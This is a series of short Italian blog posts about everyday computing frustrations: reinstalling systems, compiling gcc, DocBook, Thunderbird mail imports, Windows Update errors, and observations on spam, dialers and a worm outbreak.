Mezz'ora fa mi è arrivata la prima copia del virus. Certo che il titolo dell'allegato sarà anche italiano grammaticalmente corretto, ma non credo nessuno riuscirebbe a scrivere una frase così.
| ready steady go | [y2003-05_informatica] |
bene, ho sette cd di backup - e ho buttato via parecchia roba! E' ora di partire con la formattazione. Incrocio i ditini.
(ps: no, oh cambiato idea. Inizio domani con calma...)
| è giunta l'ora | [y2003-05_informatica] |
Il mio portatile ultimamente si congela (mi rifiuto di usare la parola "freeza") senza ragione. Mi sa tanto che è l'ora di fare una bella installazione da zero. Prevedo un weekend di backup e reinstallazione...
| compilare compilatori | [y2003-05_informatica] |
Che bello. Per compilare delle librerie per il nostro progetto, la fida vecchia versione 2.95.3 del gcc non basta, ci vuole la 3.x.
Bene, vado a prenderla e compilarla. Due palle. Sia l'ultima 3.4 che l'ultima 3.3 non si compilano su questa macchina trustix: va in segmentation fault nientepopodimeno che as (e mandare un assembler in fault non è malaccio, se uno ci pensa su). Va bene, possiamo prendere l'rpm e via, no? Sbag-lia-to. A questo punto inizia il gioco delle dipendenze, e la cosa peggiore è che non riesco a trovare nemmeno le tre distinte libc.so.6 che sono indicate come dipendenze necessarie. Viene quasi voglia di usare windows.
| La correttezza è una cosa seria | [y2003-05_informatica] |
In questo momento sono riuscito a rendere la pagina principale delle notiziole corretta secondo XHTML 1.0 Transitional. Insomma, "segue lo standard".
Però è stato un mezzo bagno di sangue: ad esempio ho scoperto che non posso inserire una lista all'interno di una notiziola, perché "è messa nel posto sbagliato".
Che palle...
| ci casco sempre | [y2003-05_informatica] |
È uscita la versione 1.0 ufficiale di Firefox e me la sono installata subito, senza pensare a qualche piccolo particolare:
(1) nonostante avessi già la versione 1.0PR (Preview Release), non c'è compatibilità per parecchie estensioni.
(2) alcune di queste estensioni hanno già la versione nuova, ma scaricarla oggi è un suicidio.
(3) quello che è peggio, sembra che Firefox 1.0 si pianti che è un piacere.
Per fortuna che mi ero salvato la vecchia versione, e almeno il punto 3 è risolto. Per gli altri due, sembra che Mozilla non abbia il concetto di "ricaricami l'estensione che ho già". Ciò non è bello. Ma è colpa mia.
| gmail perde i pezzi? | [y2003-05_informatica] |
Ho provato ad accedere alla mia casella gmail di scorta, quella che uso molto poco, e mi sono trovato un simpatico messaggio di errore che inizia con "Sorry, there seems to be a problem", e continua dicendo che il servizio non è temporaneamente disponibile. Notate che la casella che uso sempre sta regolarmente funzionando. Chissà, qualche googlologo [*] potrà trarne qualche idea sul funzionamento interno. Magari le caselle poco usate finiscono sugli hard disk "lontani"?
[*] mi piace questa parola... tre sole lettere diverse per dieci lettere totali!
| concorrenza sleale | [y2003-05_informatica] |
I messaggi che scrivevo dal mio indirizzo gmail a quello hotmail di Anna finivano nella cartella "indesiderati". Chissà come mai...
| attenti alla cavalleria! | [y2003-05_informatica] |
In una conferenza stampa con i rivenditori Microsoft europei, il CEO di Microsoft Steve Ballmer ha mostrato la sua vena ironica. Alla domanda su cosa bisogna fare con i clienti del settore pubblico interessati a Star Office, Ballmer ha risposto "inviatemi subito una email, e noi spediremo la cavalleria. Sto scherzando, ma nemmeno troppo. Non c'è motivo per perdere quote: è al livello di quello che noi spedivano sette anni fa, non è compatibile con Microsoft Office, e gli mancano applicazioni chiave come Outlook". L'articolo completo si legge qui.
Premesso che io userei OpenOffice che è anche gratuito (ma un po' pesantino, lo ammetto), mettiamoci a rileggere criticamente le affermazioni di Ballmer. Il confronto lo faccio con OpenOffice che parte dalla stessa base software, ma non credo che la cosa cambierebbe.
Iniziamo con "OpenOffice è al livello di Office 97". Possibilissimo. Io non so però quali siano le grandi migliorie che Office XP ha portato, e quali siano le nuove caratteristiche di cui l'utente tipo non può fare a meno. In ufficio non so nemmeno se mi hanno installato la versione 2000 o XP; né penso che mi tocchi scrivere cose che non si potrebbero vedere allo stesso modo non dico con WinWord ma quasi. Microsoft ha pensato di riempire la sua suite con feature che non usa praticamente nessuno? È un suo problema.
Poi abbiamo che "manca un prodotto importante come Outlook". Se fosse davvero così importante - non sto pensando alla posta elettronica ma allo legato al lavoro di gruppo, a meno che la visione ballmeristica del mondo sia ancora peggio di quanto io possa immaginare - la gente se ne sarebbe accorta. Forse Microsoft dovrebbe provare a istruirci, no? Ma il massimo Ballmer lo raggiunge quando parla della non compatibilità. OpenOffice ha il suo formato nativo per salvare i file, ma può tranquillamente esportare in formato Office97. Non può fare di meglio perché Microsoft è sempre molto attenta a modificare i propri formati da una versione all'altra proprio per evitare la concorrenza. Bravi ragazzi, vero?
Ricordo che non stiamo parlando di pirateria, ma di persone che decidono di acquistare, o nel caso di OpenOffice procurarsi legalmente, un prodotto concorrente. Non so: è vero che il discorso era tenuto ai venditori aziendali, ma a me rimane la sensazione dei tipi in gessato che entrano in un negozio e spiegano al gestore che sarebbe davvero meglio che vendessero il prodotto dei loro amici, anche se costa di più. Ma non si sa mai...
| Errata Corrige | [y2003-05_informatica] |
Giacomo mi rende noto (come potete vedere dai commenti alla notiziola originale) che la previsione del computer per il 2004 non è altro che una bufala. Maggiori informazioni le trovate su snopes.com.
Peccato, però: non tanto per esserci cascato come un pollo, che non sarebbe nemmeno la fine del mondo, ma perché l'idea non era male...
ps: mentre sono qui a scrivere che ho sbagliato, ricordo che il titolo exiente hebdomada valida potio Slavica bibo sarebbe dovuto essere hebdomade exeunte, validam Slavicam (oppure Sarmaticam) potionem bibam, come indicato da Massimo Manca. Ammetto vergognosamente il mio errore per non avere messo un accusativo: sul futuro al posto del presente rivendico una scelta volontaria, per la declinazione di exiens dichiari la mia ignoranza, e infine non capisco perché hebdomade. Ero convinto che fosse un ablativo della prima.
| quando il gioco si fa duro... | [y2003-05_informatica] |
Leggo da PC World via slashdot che in Irlanda hanno deciso di prendere una misura piuttosto estrema contro i dialer: hanno bloccato la possibilità di chiamare direttamente in teleselezione ben tredici nazioni.
Per chi non sa cosa sia un dialer: è un programmino che viene caricato più o meno inconsapevolmente da un utente internet, che magari trova scritto "clicca qua per avere GRATIS tante immagini di donne nude" e si eccita subito, e sostituisce al numero telefonico che viene chiamato di solito un altro numero, di quelli la cui chiamata costa qualche euro al minuto. Ti accorgi del tutto alla prima bolletta, che sarà di qualche centinaio d'euro. Chi ha ADSL è immune, per sua fortuna. Molti di questi numeri sono di nazioni estere: una decina d'anni fa erano corse voci che l'allora Sip non inviasse neppure quelle chiamate - in genere si parlava di messaggerie erotiche - fuori dai confini nazionali: non saprei dirvi se le voci fossero vere o false.
Detto tutto questo, purtroppo una cosa del genere non avrebbe senso in Italia, anche se fosse possibile. Si fa infatti ormai molto più in fretta a chiedere un numero 899, che ti permette legalmente di mettere la tariffa che vuoi. In realtà una soluzione ci sarebbe: inibire per default la chiamata a questi numeri, e aprirli solo all'utente che li richiede esplicitamente - va bene anche per telefono, se stai chiamando dal tuo numero di casa. Farlo sul singolo numero sarebbe forse un po' complicato, ma farlo in blocco su tutti i numeri con quel prefisso è assolutamente fattibile, e renderebbe ben più difficile approfittare della credulità altrui. Ma non penso che questo capiterà mai.
| Nuovo tipo di spammatore del blog | [y2003-05_informatica] |
Ho notato che nell'ultima settimana c'è un simpatico figlio di buona donna che si connette dall'indirizzo IP 66.98.210.44, prendendo un messaggio a caso e usando come referrer un blog a caso, giusto per poter bypassare un eventuale blocco sui commenti e poter postare - immagino, avendo chiuso i commenti a tutti i vecchi post si è sempre beccato una spernacchiata - la sua rumenta.
| ADSL | [y2003-05_informatica] |
non c'è più gusto. Ho fatto domanda per ADSL a inizio agosto (via Loris, non Telecom... preferisco pagare gli amici che i datori di lavoro). Stamattina è arrivato l'omino Telecom a mettere la linea. Dieci minuti fa ho provato ad attaccare il PC, ed era tutto a posto. Ai miei tempi non funzionava così!
| sysadmin appreciation day | [y2003-05_informatica] |
Essendo l'ultimo venerdì di luglio, oggi dovrebbe essere la festa dell'amministratore di sistema.
Peccato che non possa testare la versione lobotomizzata del programmone in fase di dismissione - versione che avevo scritto un anno fa - perché l'ambiente di test è stato spento, e adesso mi dice "licenza non valida" (nemmeno "scaduta").
Peccato che non riesca a testare la versione sul sistema di esercizio, perché mi arriva un errore che non riesco a comprendere su un software sottostante di cui non conoscevo nemmeno l'esistenza.
Peccato che - quando ho provato a far finta di niente e sostituire al vecchio sistema il nuovo - funzionicchiasse, ma non potessi esserne certo, quindi ho rimesso su il vecchio, seguendo il vecchio detto "mai fare modifiche il venerdì pomeriggio".
Peccato che certe parti del vecchio sistema (che per fortuna non dipendevano da me) non siano ripartite.
Bel Sysadm Appreciation Day, vero?
| citazioni e DocBook | [y2003-05_informatica] |
nel caso qualcuno si fosse chiesto se mi fossi già dimenticato del mio progetto di citazioni matematiche, posso rassicurarlo. Sono lento, ma sto andando avanti. Gli è da un lato che questo è uno dei progetti che porto avanti quando vado a lavorare coi mezzi (il bello del palmare), e inoltre che vorrei scrivere il tutto in DocBook.
Per la prima parte, sono arrivato alla lettera G. Per la seconda, ho trovato eDE che sembra funzionare in un ambiente Win, e che mi ha permesso di fare quello che si vede qua (160K) in formato "un unico file", e qua come insieme di file, uno per lettera.
Dritte su come far funzionare meglio l'accrocchio, ad esempio per togliere il "capitolo N" oppure per avere un diverso stylesheet che converta l'originale in formato fortune, sono sempre benvenute. Puntatori a sorgenti XML vanno bene... poi posterò anche il mio :-)
| brutta giornata | [y2003-05_informatica] |
Qui sul mio pc da ieri pomeriggio non funziona più klipfolio, nel senso che non
parte nemmeno. (beh, come sempre la maieutica funziona, e quindi in questo
momento mi è venuto in mente di rinominare il mio file preferences.xml...
così parte :-) )
Il mio antivirus non parte nemmeno più, magari è un po' scaduto.
Ho scoperto che non posso usare ftp over http per fare un backup del mio sito (ah, FileZilla sembra molto simpatico)
Forse devo smetterla di usare windows.
| aggiornamenti winXP | [y2003-05_informatica] |
Stamattina, in un momento di follia, ho deciso di installare tutti gli aggiornamenti consigliati per il mio PC, e non solo le patch di sicurezza.
Mentre davo un'occhiata alle usualmente criptiche spiegazioni, ho visto quella sul "collegamento Acquista Musica Online". Testualmente: In precedenza, facendo clic su questo collegamento veniva avviato Internet Explorer. Una volta installato tale aggiornamento, facendo clic sul collegamento, viene avviato il browser predefinito. Due cose saltano all'occhio. Nonostante tutto il discutere sul fatto che in fin dei conti non è vero che IE è parte integrante del sistema operativo, mi cascano su una banalità del genere. L'altra è la dimensione della patch, che nella mia ingenuità pensavo fosse l'equivalente di togliere una stringa hard-coded e inserire una lettura del registro. Bene, il tutto richiede 285 Kb.
Nulla di sconcertante invece scoprire che Al termine dell'installazione, potrebbe essere necessario riavviare il computer.. È banalmente il modo di funzionamento Microsoft: un reboot al giorno toglie lo schermo blu di torno.
| Sembra facile! | [y2003-05_informatica] |
Mi ero scocciato della gente che si lamentava per i colori della mia homepage, e così ho pensato di rinnovarla. Ancora ad aprile avevo scoperto in giro per la rete un bel layout, che poi era rimasto lettera morta perché avevo dei dubbi sulla realizzazione pratica. Ieri finalmente ho camibato i colori, corretto un bachetto e messa in linea la pagina.
Peccato che mi fossi dimenticato che con IE - e, mi fa notare Fabio, Konqueror - la visualizzazione non è corretta. Non è così strano, ho cercato di modificare il layout iniziale avendo più riquadri, e come si può immaginare il bello degli standard è che ognuno li interpreta come vuole :-(
Se qualcuno ha delle idee su come risolvere il problema è il benvenuto!
aggiornamento (14:15): Sembra che ci sia un problema di base quando con IE si accorcia o allunga la pagina in verticale (provare per credere). C'è anche il "problema dei tre pixel", anche se nel mio caso non si vede. Il problema sulla colonna di destra sembra invece legato all'avere la somma delle tre colonne che fa esattamente 100% - ci devono essere errori di arrotondamento. La pagina index2.html, dove ho ridotto la somma a 99%, funziona perfettamente su IE e credo anche su Safari e Konqueror - naturalmente non su Mozilla; questa volta è lui a buttare in basso i riquadri dopo il primo.
(14:50) Forse ho trovato il trucco per tenere tutto assieme. Da buon matematico, evito di fare le somme e blocco la terza colonna a destra. Che ne dite?
| posta svanita | [y2003-05_informatica] |
Non ho capito bene come, ma ho perso una certa quantità di messaggi mentre stavo lavorando su Thunderbird. "Lavorando" significa che stavo cercando di capire come mettere a posto i messaggi transitati da Eudora, lavorando però su altri messaggi. "Perso" significa che sono completamente sparite alcune sottodirectory: ho anche verificato manualmente.
Ci sono cose peggiori nella vita: le directory corrispondono ad alcune mailing list, ho i backup fino a metà aprile e roba sparsa in giro delle ultime due settimane (Google Mail aiuta, visto che il trash viene cancellato solo dopo un mese). Mi preoccupa però l'idea di questi messaggi che si sono persi così, senza ragione.
| antivirus sardo | [y2003-05_informatica] |
Non so come, ma qui nella rete interna gira un mofeir. Ogni tanto il mio antivirus si sveglia e mi chiede che fare. Io gli dico di toglierlo, e lui risponde "L'oggetto infetto eliminato è stato". Aiò!
| DocBook e XSLT | [y2003-05_informatica] |
Sto cercando di imparare a usare DocBook, il che significa utilizzare gli stylesheet XSLT per modificare l'output come voglio io. Peccato che non riesca assolutamente a trovare un tutorial che spieghi le cose come piacciono a me, tipo "se vuoi inserire un metatag nelle header devi scrivere bla-bla-bla; se vuoi cambiare la resa di un tag, devi scrivere bla-bla-bla;" e tutte queste cosette.
Il massimo che ho imparato tra ieri e oggi è che esiste xsl:import.
Chi mi aiuta?
| DocBook | [y2003-05_informatica] |
È un sistema per scrivere documentazione che poi si può visualizzare e stampare. Il grosso vantaggio è che hai un unico sorgente, il che non fa mai male; inoltre puoi divertirti, un po' come si fa con gli stylesheet, a modificare le opzioni di visualizzazione.
Sono due anni che mi dico sempre "devo installare DocBook", ad esempio per riscrivere il mio Gergo Telematico. Mi sono fatto spedire le istruzioni di base dall'ottimo Carlo Fusco l'anno scorso, non so se rendo l'idea. Adesso ho provato a prendere i file necessari, limitandomi alla versione XML che mi sembrava più semplice di quella DSSSL.
D'accordo, ho un ambiente assolutamente non standard, usando cygwin. Ma non è possibile che io ci abbia perso una settimana. Non credo di essere così imbranato a installare software: il guaio è che c'è una caterva di pacchetti da prendere e installare, ciascuno con le proprie paturnie, e bisogna saper scegliere tra i vari tutorial qual è il più chiaro. Non si può pretendere che la gente installi un puzzle, ci credo che non lo usa nessuno!
A dire il vero ancora adesso la configurazione è instabile, se devo essere sincero, ma almeno qualche risultato c'è. Peccato che tutto questo fosse solo la prima parte: adesso devo studiare DocBook.
PS: aiuti vari sono bene accetti!
| il tag ACRONYM | [y2003-05_informatica] |
Ecco un preclaro esempio di tag HTML che si usa in un modo creativo. Se uno sta scrivendo una sigla, la può mettere all'interno di questo tag. Se usi IE non ti accorgi di nulla, con Firefox la vedi sottolineata a puntini. Ma il bello è se invece che il semplice <acronym> tu scrivi <acronym title="bla bla bla">. A questo punto, se ci passi il mouse sopra leggi in un riquadro il testo "bla bla bla". Ma perché limitarsi a un acronimo? puoi metterci dentro quello che vuoi, naturalmente: l'ideale per una nota esplicativa del testo. L'unica accortezza che devi avere è quella di non andare a capo nel sorgente HTML, altrimeni ti vedi un bel quadratone nero che sarebbe il carattere "a capo".
Un Vero Purista mi verrebbe a dire "perché non usi uno span con attributo onmouseover?" al che rispondo "chissenefrega".
| la complicazione dei formati | [y2003-05_informatica] |
Ho un pacco di posta dal 1991 al 2001 - sono un conservatore, lo so - che voglio importare in Thunderbird. Inizialmente era nel formato di sylpheed, che è un mh modificato. Vabbé, mi dico, converto uno a uno i messaggi in formato mbox e li passo a thunderbird.
Troppo facile. Anche se thunderbird mantiene i propri messaggi in formato mbox, non importa una nuova cartella, e non è nemmeno possibile copiare brutalmente i file nella sua cartella, perché mancano ovviamente le informazioni che lui si tiene in più. Presumo che dovrò installare eudora, convertire i file in quel formato, e finalmente fare l'ultima conversione, visto che c'è un filtro apposito.
Chi diceva che l'informatica facilita la nostra vita?
Aggiornamento: a quanto pare Thunderbird ci mette un po', ma alla fine riesce a vedere la posta aggiunta a manina. Devi solo stare attento a metterla nella directory giusta.
| la mia tesi di informatica | [y2003-05_informatica] |
ho ritrovato i sorgenti TeX (un po' a fatica toptesi.sty...) e ho provato a compilarla. Nessun problema. Magari la metto anche in rete. Non so con quale altro programma non ci sarebbero stati problemi a distanza di tredici anni...
(no, la tesi di matematica la devo avere persa. E comunque era in MacWrite 1.0)
| all'anima del titolo! | [y2003-05_informatica] |
Tra il pacco di spam che ho cancellato stamattina, c'è stato un messaggio che ho salvato per qualche secondo: giusto il tempo di copiarne il titolo.
Il testo era il solito: "I just heard of this new drµg called ©iális" e via discorrendo: in compenso il titolo del messaggio era eigenfunction homogenate matthew palindromic.
Direi che la nuova ondata di spam sia studiata in modo tale da saltare i controlli sulla frequenza delle lettere (che tagliano i testi dove si aggiungono caratteri a caso, come "sahktewh jsdfjklert dfgkljwe": immagino che i sistemi bayesiani lavorino in quel modo) e quindi utilizzi parole almeno in teoria di senso compiuto. Anche il nome del sito da cliccare è formato così: per la precisione, è
gymnasium. plenitude. accommodate. biometrika. copenhagen. dry. entire. romulus. productswholesalediscount. biz
(no, non hanno un sito con il nome così lungo! è possibile fare in modo che tutto quello a sinistra di una stringa, nel nostro caso il products ecc.ecc. .biz, venga incanalato in un solo punto: epperò viene salvato il nome completo, così lo spammatore sa perfettamente che sono stato io a cliccarci su.
Sempre più simpatici, vero?
[se quello che ho scritto è arabo, sono gradite indicazioni su cosa è esattamente arabo, così magari riscrivo il testo specificando meglio]
| Finalmente un vero coltellino svizzero | [y2003-05_informatica] |
(scoperto via iaia)
Siamo in molti ad avere un coltellino svizzero più o meno originale - il mio non lo è per nulla, ad esempio - con una quantità di strumenti inutili al suo interno.
Ma non preoccupiamoci: c'è chi pensa a noi. Swissbit, società nata da Siemens, si è accordata con Victorinox, quelli che fanno i "veri" Swiss Army Knives, e presenterà al Cebit il primo coltellino svizzero con chiave di memoria USB, l'equivalente attuale del buon vecchio floppino.
L'unica cosa che mi preoccupa è che non sarà penso possibile portarselo come bagaglio a mano in aereo: una vergogna.
| non mi era mai capitato | [y2003-05_informatica] |
Ho ricevuto dello spam scritto in ebraico. E Thunderbird non ha fatto una piega (non l'ha nemmeno etichettato come spam, è vero, ma penso sia rimasto stupito anch'esso)
| despammed, ma non devirused | [y2003-05_informatica] |
A quanto pare quelli di despammed.com si sono scocciati di fare il loro controllo. Passi ricevere ogni tanto un messaggio di spam che arriva dal mio indirizzo @despammed, ma oggi sono già arrivati due virus - non chiedetemi quali, io cancello e basta.
Per il momento ho disabilitato il forward. Spero di ricordarmi di guardare ogni tanto la casella.
| ah, IT Telecom | [y2003-05_informatica] |
Non è possibile dover far debugging telefonico, o al massimo via email, perché in due giorni dopo il cambio degli indirizzi IP qui a Rozzano nessuno di quelli che gestiscono la rete di Pomezia si degna di andare a cambiare gli indirizzi nella route statica che mi porta alle macchine di sviluppo.
Il peggio è che la connessione modem mi si pianta dopo un numero di minuti variabile tra 1 e 10.
| un altro aggregatore? | [y2003-05_informatica] |
Stavo dando un'occhiata nel marasma di link a del.icio.us, un "social bookmarks manager" trovato leggiucchiando Iaia, che tra le altre cose segnalava il noto (a me) Blog Aggregator di Giuseppe "3G" Granieri.
Mi è venuta in mente una cosa. Non sarebbe bello avere un sistema più o meno una via di mezzo tra i due? Cerco di spiegare in poche parole la mia Visione:
- Chiunque può segnalare un link.
- Per segnalare un link occorre essere registrati, indicare il link, selezionarne la categoria (e sottocategoria) e aggiungere un minicommento.
- Può essere utile dare la possibilità a chiunque di aggiungere categorie, ma bisogna pensarci su per evitare una parcellizzazione troppo ampia.
- Ovviamente deve essere presente un feed RSS - ecco a che serve il minicommento :-)
- Sarebbe bello avere la possibilità di un sistema (cgi semplice? cgi che crea un feed rss personale?) che permetta di selezionare, oppure dare pesi positivi e negativi, agli argomenti di proprio interesse e agli amici/nemici/amici di amici, in stile slashdot.
L'ultimo punto è quello che mi preoccupa di più, non tanto per la logica quanto per il costo computazionale. Il resto è relativamente standard.
Qualcuno è interessato?
| nuova tipologia di spam | [y2003-05_informatica] |
Adesso inizia ad arrivarmi qualche messaggio che inizia con un'accozzaglia di parole in inglese prese a caso dal vocabolario, immagino per fregare i sistemi bayesiani che controllano le parole chiave all'inizio e le successioni improbabili di lettere. Per il momento il sistema mi sembra ancora fregabile con un'analisi sulla lunghezza delle varie parole (mancano i connettivi), ma non ci vorrà molto.
C'è qualcuno che non è affatto stupido, dietro gli spammatori.
| ho miserabilmente fallito | [y2003-05_informatica] |
Antefatto. Se digitate con Google "miserable failure", il primo risultato che ritorna è la biografia ufficiale di Giorgino "doppiavu" Bush. Non è un caso: l'algoritmo che Google usa per mettere in ordine i risultati considera importante che la chiave di ricerca sia usata all'interno di un collegamento: insomma, "se la usano per cliccare sopra una pagina, vuol dire che quella pagina è proprio su quell'argomento!" Così un po' di gente negli USA si è messa a creare questi link sulle proprie pagine, e il risultato è sotto gli occhi di tutti.
Anche in Italia volevano provare a fare la stessa cosa: il piano era far puntare la frase "miserabile fallimento" alla biografia del Cav. Silvio B. Peccato che in realtà apparissero ai primi posti le pagine dei blog che parlavano di questo, come fosse una vendetta del Nostro!
Commentando sul blog di Luciano, feci tutto uno spiegone al riguardo, dicendo che il problema era che i blog italiani si sparlavano addosso, e quindi Google - che nei suoi risultati ama particolarmente i blog perché hanno tanti link in genere - preferiva quei risultati.
Capita però che da ieri, come Massimo mi fa gentilmente notare, il "progetto Banana" stia funzionando, come si può vedere facendo la ricerca su Google.
Onestà intellettuale vuole che affermi pubblicamente di essermi sbagliato. Ho delle idee a riguardo, ma non voglio sputtanarmi ulteriormente :-)
| sempre meglio! | [y2003-05_informatica] |
Installato il simpatico programma Micro$oft di controllo sicurezza, scopro che miracolosamente Windows Update adesso funziona. Questo non è poi così strano, come ben sa chiunque abbia a che fare con i calcolatori. Non è nemmeno strano che mi dia un allarme rosso perché ho dei file system non NTFS (ad esempio, quelli con linux...).
Un po' più strano è che il tool mi dica che ci sono delle patch di sicurezza che non ha trovato, ma Windows Update dice che almeno per la sicurezza sono a posto. Che si mettessero un po' d'accordo!
| Macché scienza e scienza! | [y2003-05_informatica] |
Seguendo Larry Wall, io ho sempre affermato che l'informatica è un'arte.
Essendo bloccato con il Windows Update, stamattina faccio un'ultima prova e mi connetto via modem. Risultato: funziona tutto perfettamente.
Bravo furbo, mi direte voi: il tuo firewall bloccherà qualcosa!
Peccato che qui in ufficio io abbia due portatili: d'accordo che quello aziendale ha 2000 e non XP, ma è collegato alla stessa rete, ed è tranquillamente riuscito a fare gli aggiornamenti di sicurezza.
Ribadisco: arte, non scienza.
Aggiornamento: il collega del piano di sopra mi ha confermato che XP ha un "controllo di licenza" che sballa quando si ha un proxy con NAT; occorre quindi cercarsi Hfnetchk dal sito Microsoft, lanciarlo in locale, e poi prendersi le patch a manina. Come sempre, avere i programmi ufficiali non solo non aiuta, ma incasina.
| windows? no update | [y2003-05_informatica] |
Nel quadro delle pulizie natalizie, ho provato a lanciare Windows Update sul mio portatile. Niente da fare. Non ne vuole sapere.
Notare che la versione di XP Home che ho è arrivata insieme al PC, e che in passato ho fatto una serie di aggiornamenti dal sito Micro$oft. Ho provato a cancellare le DLL come indicato dal messaggio di errore (knowledge base # Q174360): l'unico risultato è che a questo punto mi dice che posso fare l'operazione solo come amministratore. Peccato che questa macchina abbia solo l'utente "mau" che è ovviamente amministratore.
Hanno finalmente scoperto che non voglio loro bene?
Aggiornamento: i suggerimenti dati non hanno sortito un grande effetto, se non che adesso so qual è l'errore:
Error IUCTL Digital Signatures on file C:\Program Files\WindowsUpdate\V4\iuident.cab are not trusted (Error 0x800B0004: The
subject is not trusted for the specified action.)
Potrei provare con il CD di troubleshooting, che però è XP vanilla mentre ho il Service Pack 1: speriamo bene.
A dire il vero, posso immaginare che il "subject not trusted" sia M$ e non io, ma non so dove andare a fare pulizia sui certificati.
| Naming Authority: 1994-2003 | [y2003-05_informatica] |
Boh, forse la categoria corretta sarebbe "politica", oppure "piagnucolio".
Per la gioia della parte del mio pubblico che ama conoscere i retroscena dell'internette all'italiana, ho scritto un commento su quanto successo all'Assemblea della Naming Authority dello scorso 9 dicembre. Per il momento, lo trovate nelle mie pagine relative alla NA.
| Commentate, qualcosa resterà | [y2003-05_informatica] |
Sto cercando di lobotomizzare un programma per avere un "piano B" pronto nel caso non riesca a fare in tempo la nuova versione, e quindi mi sto avventurando in meandri di codice stratificati nel tempo da schiere di ignoti programmatori - il tutto naturalmente senza alcuna documentazione, secondo il famoso detto "basta leggere il sorgente".
Trovata una chiamata a una funzione che dovrei eliminare, vedo che uno dei parametri di chiamata ha vicino un commento. Eccolo:
/* So che qualcuno chiederà: perché questo???? */
Aveva ragione.
| libero? non proprio | [y2003-05_informatica] |
(beh, forse è un pippone, ma ne scrivo già così tanti! Come faccio a farli leggere?)
Come sapete, in Italia c'è un oligopolista statale delle telecomunicazioni: Wind. Nulla di male, se non che riesce ad essere il primo a trovare sistemi per "fidelizzare" (si fa per dire) i suoi utenti, che poi tutti gli altri copiano.
All'inizio ci fu Digilander, il servizio FTP gratuito. Casualmente, arrivò un messaggio in cui avvisarono che dopo i quindici giorni richiesti dalla legge non sarebbe più stato possibile connettersi via FTP se non dai loro POP. Vabbé, non ho più usato Digilander, nulla di male.
Adesso ho scaricato la posta di un account di Libero che non uso mai, e ho scoperto che il signor Libero Informa mi vuol far sapere della Rivoluzione della Posta di Libero, a tutte iniziali maiuscole. Cos'è questa Rivoluzione? Semplice: per il "miglioramento della qualità dei servizi offerti da Wind ai propri Clienti" (sempre maiuscolati) ci si potrà connettere via Pop3 o Imap4 solo da chi si connette via Wind. Ma niente paura: nella Sua Estrema Bontà (stavolta il maiuscolo è mio) il signor Libero Informa mi permette di connettermi via WebMail. Oppure posso pagare, scegliere uno dei due "innovativi prodotti di posta" offerti, ed essere fiero che il signore in questione offrirà "1 Euro al progetto UNICEF per la costruzione di una scuola in Congo". Il tutto perché il servizio di posta elettronica di Libero è "nato per poter offrire ai clienti dell’accesso a Internet di Wind il meglio per comunicare sul Web" (neretto del signor Libero).
Di nuovo, mi limiterò a usare quell'account quando un possibile spammatore chiede un indirizzo email. Nessun commento esplicito, non serve: se volete, potete leggere Mantellini a proposito.
| come spammare | [y2003-05_informatica] |
I messaggi di spam sono sempre di più. E anche i filtri sui titoli sono sempre poco aggiornati. Qualche mese fa c'è stata l'abitudine di scr iv ere le p aro le inse r en do degli spazi, ma credo che il lettore medio americano avesse dei problemi a leggere un testo scritto in questo modo. Qual è stata la soluzione? avere titoli come
Mën, A Pöwërful Hërb
(ho visto anche à, ô, e simili...), il che è una prova ulteriore del fatto che per gli anglofoni tutti quei segnetti sopra le lettere vengono automaticamente cancellati da una qualche sinapsi.
| deframmentiamo | [y2003-05_informatica] |
Per vedere se il portatile dell'ufficio riesce a migliorare almeno leggermente le sue prestazioni, ho deciso di provare a deframmentare il disco. In fin dei conti, l'utilità apposita è persino presente su Windows, mi dico.
Bene, inizio a fare le pulizie estive per fare spazio, e lancio il programma. Questo mi dice "sì, sei arrivato al 20% di spazio libero (ero al 2% quando ho iniziato...) però io ne posso utilizzare solo il 14%, e me ne servirebbe almeno il 15%. Vuoi andare avanti lo stesso? Io cancello ancora un po' di roba, e alla fine ce la faccio.
Passo al disco D. Qui lo spazio è minore, e di libero "utilizzabile" è il 9%. Vabbé, sposto un po' di file sul disco C almeno temporaneamente. Lo faccio, e lo spazio utilizzabile scende al 4%. Vorrà dire che farò tripla deframmentazione, ma mano qualcosa migliorerà, spero.
Aggiornamento: Macché. Nulla da fare. Adesso il grafico sembra dare le righe di Fraunhofer, e non riesco a capire come D: possa avere tutti questi file di sistema...
| Principio di Indeterminazione dei Progetti | [y2003-05_informatica] |
Da Dilbert di oggi.
"Il principio di indeterminazione dei progetti afferma che è impossibile avere contemporaneamente una descrizione precisa del progetto e il suo costo".
| Ancora sullo Zaurus | [y2003-05_informatica] |
commentando i commenti sul mio articolo precedente, posso solo aggiungere che Sharp in generale sta più sul mercato consumer, mentre lo Zaurus è in una nicchia "corporate" (oltre agli smanettoni che però sono pochini). Insomma, le calcolatrici le fa bene, gli hi-fi anche, ma su queste cose non saprebbe nemmeno come muoversi. In Giappone probabilmente la gente compra più gadget.
Sul prezzo non so che dire, qui in Italia tanto non si trova nemmeno lo SL-5500... bah, spero di andare in Giappone e prendermi alla fonte il C-760.
| no more zaurus | [y2003-05_informatica] |
Zigh. Sharp ha detto che del mercato europeo - e probabilmente americano - non gliene può fregare di meno. È vero che ci sono importatori paralleli per gli SC-750 e SC-760 (i gadget con schermo 640*480) ma la cosa diventa già più difficile da gestire.
Non vorrete mica farmi morire con un Palm!
| il BugBear di ieri | [y2003-05_informatica] |
(che è un worm, non un virus: la differenza è che il worm ha come scopo principale il propagarsi)
Deve avere fatto MOLTI danni. Ho visto server di mail - a parte quello di IT Telecom che ha già problemi di suo - che non riuscivano a spedire né a ricevere posta: Anna doveva spedire il testo del nuovo capitolo, e alla fine sono stato costretto a fare ftp su una macchina non troppo carica e inviare il tutto di là.
Ah. l'informatica!
Aggiornamento: la copia di controllo del messaggio di 600K accettato da tin.it (ho visto il log...) ieri sera alle 20:30 mi è arrivato in casella alle 13 di oggi. Insomma, i server interni di tin.it erano leggermente incasinati.
| c'è posta per me? | [y2003-05_informatica] |
oggi pomeriggio, improvvisamente il server exchange di posta aziendale ha deciso di mettersi in malattia, forse invidioso degli steward Alitalia.
In realtà, Outlook Express si connette amabilmente, ma è ovvio che questo non significa nulla: Microsoft nella sua infinita saggezza prevede di chiamare programmi completamente diversi con nomi simili, in modo da riuscire a sviare le indagini sul loro funzionamento: ma non divaghiamo.
Il guaio è che questo server Exchange ha sempre avuto un comportamento non dei migliori, e stiamo parlando del server aziendale di una società che ha "Information Technology" nel proprio nome.
| Alimentare tutti i campi obbligatori | [y2003-05_informatica] |
Sto cercando di compilare il timesheet, cioè dire su quali progetti ho lavorato il mese scorso.
